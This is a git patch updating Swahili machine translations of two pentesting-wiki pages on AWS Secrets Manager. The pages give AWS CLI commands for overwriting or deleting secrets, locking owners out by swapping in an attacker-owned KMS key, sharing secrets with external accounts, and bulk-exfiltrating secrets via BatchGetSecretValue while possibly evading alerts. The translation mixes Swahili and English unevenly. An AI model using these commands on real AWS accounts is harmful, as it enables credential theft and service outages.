From 9ec52c1353be4bb07e63402c0262bad262d81ed1 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 6 Oct 2025 10:00:59 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat --- .../aws-secrets-manager-post-exploitation.md | 85 +++++++++++++++---- .../aws-secrets-manager-privesc.md | 8 +- 2 files changed, 71 insertions(+), 22 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md index 997ee723b..83d2c34e3 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md @@ -4,43 +4,43 @@ ## Secrets Manager -Kwa maelezo zaidi angalia: +For more information check: {{#ref}} ../aws-services/aws-secrets-manager-enum.md {{#endref}} -### Read Secrets +### Soma Siri -**secrets zenyewe ni taarifa nyeti**, [angalia ukurasa wa privesc](../aws-privilege-escalation/aws-secrets-manager-privesc.md) ili kujifunza jinsi ya kuvisoma. +The **Siri zenyewe ni taarifa nyeti**, [angalia ukurasa wa privesc](../aws-privilege-escalation/aws-secrets-manager-privesc.md) ili ujifunze jinsi ya kuzisoma. -### DoS Change Secret Value +### DoS Badilisha Thamani ya Siri -Kubadilisha thamani ya secret kunaweza **kusababisha DoS kwa mifumo yote inayotegemea thamani hiyo.** +Changing the value of the secret you could **DoS all the system that depends on that value.** > [!WARNING] -> Kumbuka kwamba thamani za awali pia zinahifadhiwa, hivyo ni rahisi kurudisha thamani ya awali. +> Kumbuka kuwa thamani za awali pia zinahifadhiwa, hivyo ni rahisi tu kurudi kwenye thamani ya awali. ```bash # Requires permission secretsmanager:PutSecretValue aws secretsmanager put-secret-value \ --secret-id MyTestSecret \ --secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}" ``` -### DoS Badilisha KMS key +### DoS Change KMS key -Ikiwa mshambuliaji ana ruhusa secretsmanager:UpdateSecret, anaweza kusanidi siri kutumia KMS key inayomilikiwa na mshambuliaji. Ufunguo huo awali umewekwa kwa njia kwamba mtu yeyote anaweza kuufikia na kutumia, hivyo kusasisha siri kwa kutumia KMS key mpya kunawezekana. Ikiwa ufunguo haukufikiwa, siri haiwezi kusasishwa. +Ikiwa attacker ana ruhusa secretsmanager:UpdateSecret, wanaweza kusanidi secret itumie KMS key inayomilikiwa na attacker. KMS key hiyo awali imewekwa kwa namna kwamba mtu yeyote anaweza kuipata na kuitumia, hivyo kusasisha secret kwa key mpya kunawezekana. Ikiwa key haikutambulika/haikutumika, secret haiwezi kusasishwa. -Baada ya kubadilisha ufunguo wa siri, mshambuliaji hubadilisha usanidi wa ufunguo wake ili ufikivu uke kwa yeye pekee. Kwa njia hii, kwenye matoleo yanayofuata ya siri, itafichwa kwa kutumia ufunguo mpya, na kwa kuwa hakuna njia ya kuufikia, uwezo wa kupata siri utapotea. +Baada ya kubadilisha key ya secret, attacker hubadilisha usanidi wa key yao ili ni wao pekee waweze kuifikia. Kwa njia hiyo, katika matoleo yanayofuata ya secret, itafungwa kwa key mpya, na kwa kuwa hakuna ufikiaji wa key hiyo, uwezo wa kupata secret utapotea. -Ni muhimu kutaja kwamba ukosefu huu wa ufikivu utatokea tu katika matoleo ya baadaye, baada ya yaliyomo kwenye siri kubadilika, kwani toleo la sasa bado limefichwa kwa kutumia KMS key ya awali. +Ni muhimu kutambua kuwa ukosefu huu wa ufikaji utaonekana tu katika matoleo ya baadaye, baada ya yaliyomo kwenye secret kubadilika, kwani toleo la sasa bado limefungwa kwa KMS key ya awali. ```bash aws secretsmanager update-secret \ --secret-id MyTestSecret \ --kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE ``` -### DoS Kufuta Siri +### DoS Deleting Secret -Idadi ya chini ya siku za kufuta siri ni 7. +Idadi ndogo kabisa ya siku za kufuta secret ni 7 ```bash aws secretsmanager delete-secret \ --secret-id MyTestSecret \ @@ -48,16 +48,16 @@ aws secretsmanager delete-secret \ ``` ## secretsmanager:RestoreSecret -Iwezekana kurejesha secret, jambo linaloruhusu urejesho wa secrets zilizowekwa kufutwa, kwa sababu kipindi cha chini cha kufutwa kwa secrets ni siku 7 na kipindi cha juu ni siku 30. Pamoja na ruhusa secretsmanager:GetSecretValue, hili linafanya iwezekane kupata yaliyomo ndani yao. +Inawezekana kurejesha secret, jambo linaloruhusu urejeshaji wa siri ambazo zimepangwa kufutwa, kwa sababu kipindi cha chini cha kufutwa kwa siri ni siku 7 na kipindi cha juu ni siku 30. Pamoja na ruhusa secretsmanager:GetSecretValue, hili linafanya iwezekane kupata yaliyomo yao. -Ili kurejesha secret ambayo iko katika mchakato wa kufutwa, unaweza kutumia amri ifuatayo: +Ili kurejesha siri ambayo iko mchakato wa kufutwa, unaweza kutumia amri ifuatayo: ```bash aws secretsmanager restore-secret \ --secret-id ``` ## secretsmanager:DeleteResourcePolicy -Kitendo hiki kinaruhusu kufuta resource policy inayodhibiti nani anaweza kupata secret. Hii inaweza kusababisha DoS ikiwa resource policy ilipangwa kuruhusu ufikiaji kwa kundi maalum la watumiaji. +Kitendo hiki kinaruhusu kufuta resource policy inayodhibiti nani anaweza kupata secret. Hii inaweza kusababisha DoS ikiwa resource policy ilikuwa imewekwa ili kuruhusu ufikiaji kwa kundi maalum la watumiaji. Ili kufuta resource policy: ```bash @@ -66,11 +66,11 @@ aws secretsmanager delete-resource-policy \ ``` ## secretsmanager:UpdateSecretVersionStage -Hali za siri hutumika kusimamia matoleo ya siri. AWSCURRENT inaonyesha toleo linalofanya kazi ambalo programu zinalitumia, AWSPREVIOUS inahifadhi toleo la awali ili uweze kurudi nyuma ikiwa inahitajika, na AWSPENDING inatumiwa katika mchakato wa rotation kuandaa na kuthibitisha toleo jipya kabla ya kulifanya kuwa toleo la sasa. +Hali za secret zinatumika kusimamia matoleo ya secret. AWSCURRENT inaashiria toleo linalotumika na programu, AWSPREVIOUS huhifadhi toleo la awali ili uweze kurudi nyuma ikiwa ni lazima, na AWSPENDING inatumiwa katika mchakato wa mzunguko kutayarisha na kuthibitisha toleo jipya kabla ya kulifanya kuwa la sasa. -Programu daima husoma toleo lenalo lebo ya AWSCURRENT. Ikiwa mtu atahamisha lebo hiyo kwa toleo lisilo sahihi, programu zitatumia credentials zisizo halali na zinaweza kushindwa. +Programu daima husoma toleo lenye lebo AWSCURRENT. Ikiwa mtu atahamisha lebo hiyo kwa toleo lisilo sahihi, programu zitaitumia kredenshali batili na zinaweza kushindwa. -AWSPREVIOUS haitumiki moja kwa moja. Hata hivyo, ikiwa AWSCURRENT itaondolewa au itatoleweshwa vibaya, kunaweza kuonekana kwamba kila kitu bado kinaendesha kwa toleo la awali. +AWSPREVIOUS haitumiki kiotomatiki. Hata hivyo, ikiwa AWSCURRENT itaondolewa au itapangwa tena kwa njia isiyofaa, kunaweza kuonekana kuwa kila kitu bado kinaendelea kwa toleo la awali. ```bash aws secretsmanager update-secret-version-stage \ --secret-id \ @@ -79,3 +79,52 @@ aws secretsmanager update-secret-version-stage \ --remove-from-version-id ``` {{#include ../../../banners/hacktricks-training.md}} + + + + + +### Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call) + +Tumia kwa mbaya Secrets Manager BatchGetSecretValue API ili kupata hadi siri 20 kwa ombi moja. Hii inaweza kupunguza kwa kiasi kikubwa idadi ya API-call ikilinganishwa na kurudia GetSecretValue kwa kila siri. Kama filters zinatumika (tags/name), ruhusa ya ListSecrets pia inahitajika. CloudTrail bado inarekodi tukio la GetSecretValue moja kwa kila siri inayopatikana kwenye batch. + +Required permissions +- secretsmanager:BatchGetSecretValue +- secretsmanager:GetSecretValue kwa kila siri lengwa +- secretsmanager:ListSecrets ikiwa unatumia --filters +- kms:Decrypt kwenye CMKs zinazotumika na siri (ikiwa huna kutumia aws/secretsmanager) + +> [!WARNING] +> Kumbuka kwamba ruhusa `secretsmanager:BatchGetSecretValue` haitoshi peke yake ili kupata siri; pia unahitaji `secretsmanager:GetSecretValue` kwa kila siri unayotaka kupata. + +Exfiltrate by explicit list +```bash +aws secretsmanager batch-get-secret-value \ +--secret-id-list \ +--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}' +``` +Exfiltrate kwa vichujio (funguo/thamani ya tag au kiambatisho cha jina) +```bash +# By tag key +aws secretsmanager batch-get-secret-value \ +--filters Key=tag-key,Values=env \ +--max-results 20 \ +--query 'SecretValues[].{Name:Name,Val:SecretString}' + +# By tag value +aws secretsmanager batch-get-secret-value \ +--filters Key=tag-value,Values=prod \ +--max-results 20 + +# By name prefix +aws secretsmanager batch-get-secret-value \ +--filters Key=name,Values=MyApp +``` +Kushughulikia kushindwa kwa sehemu +```bash +# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters +aws secretsmanager batch-get-secret-value --secret-id-list +``` +Athari +- Haraka “smash-and-grab” ya siri nyingi kwa API calls chache, ikiwezekana ikiepuka onyo zilizowekwa kugundua mwinuko wa GetSecretValue. +- CloudTrail logs bado zinajumuisha tukio moja la GetSecretValue kwa kila siri iliyopatikana na batch. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md index c160ea152..6f5fa540d 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md @@ -12,18 +12,18 @@ Kwa maelezo zaidi kuhusu Secrets Manager angalia: ### `secretsmanager:GetSecretValue` -Mshambuliaji mwenye ruhusa hii anaweza kupata the **thamani iliyohifadhiwa ndani ya siri** katika AWS **Secretsmanager**. +Mshambuliaji aliye na ruhusa hii anaweza kupata **thamani iliyohifadhiwa ndani ya siri** katika AWS **Secretsmanager**. ```bash aws secretsmanager get-secret-value --secret-id # Get value ``` -**Athari Inayowezekana:** Kufikia data nyeti sana ndani ya AWS secrets manager service. +**Athari Inayowezekana:** Kupata data nyeti sana ndani ya AWS secrets manager service. > [!WARNING] -> Kumbuka kwamba hata ukiwa na ruhusa ya `secretsmanager:BatchGetSecretValue`, mshambuliaji pia atahitaji `secretsmanager:GetSecretValue` ili kupata secrets nyeti. +> Kumbuka kwamba hata ukiwa na ruhusa ya `secretsmanager:BatchGetSecretValue`, mshambuliaji pia atahitaji `secretsmanager:GetSecretValue` ili kupata siri nyeti. ### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`) -Kwa ruhusa zilizotangulia, inawezekana **kumpa ufikiaji principals/akaunti nyingine (hata za nje)** kufikia **secret**. Kumbuka kwamba ili **kusoma secrets zilizosimbwa** kwa KMS key, mtumiaji pia anahitaji kuwa na **ufikiaji wa KMS key** (maelezo zaidi kwenye [KMS Enum page](../aws-services/aws-kms-enum.md)). +Kwa ruhusa zilizotangulia, inawezekana **kutoa ufikiaji kwa principals/accounts wengine (hata external)** ili kufikia **secret**. Kumbuka kwamba ili **kusoma secrets zilizofichwa** kwa KMS key, mtumiaji pia anahitaji kuwa na **ufikiaji wa KMS key** (maelezo zaidi kwenye [KMS Enum page](../aws-services/aws-kms-enum.md)). ```bash aws secretsmanager list-secrets aws secretsmanager get-resource-policy --secret-id